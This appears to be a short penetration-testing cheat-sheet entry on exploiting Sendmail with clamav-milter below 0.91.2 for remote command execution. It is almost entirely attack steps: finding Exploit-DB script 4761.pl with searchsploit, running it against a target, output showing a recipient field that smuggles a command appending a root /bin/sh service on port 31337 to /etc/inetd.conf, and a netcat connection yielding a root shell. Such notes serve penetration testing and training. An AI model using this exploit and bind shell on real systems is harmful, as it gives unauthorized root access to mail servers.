ClamAV
< 0.91.2
# Identify the PoC
$ searchsploit clamav-milter
Sendmail with clamav-milter < 0.91.2 - Remote Command Execution | multiple/remote/4761.pl
# Execute the PoC
$ perl 4761.pl <target>
<SNIP>
250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf">... Recipient ok
<SNIP>
# Connect to the listening socket
$ nc <target> 31337
id
uid=0(root) gid=0(root) groups=0(root)Last updated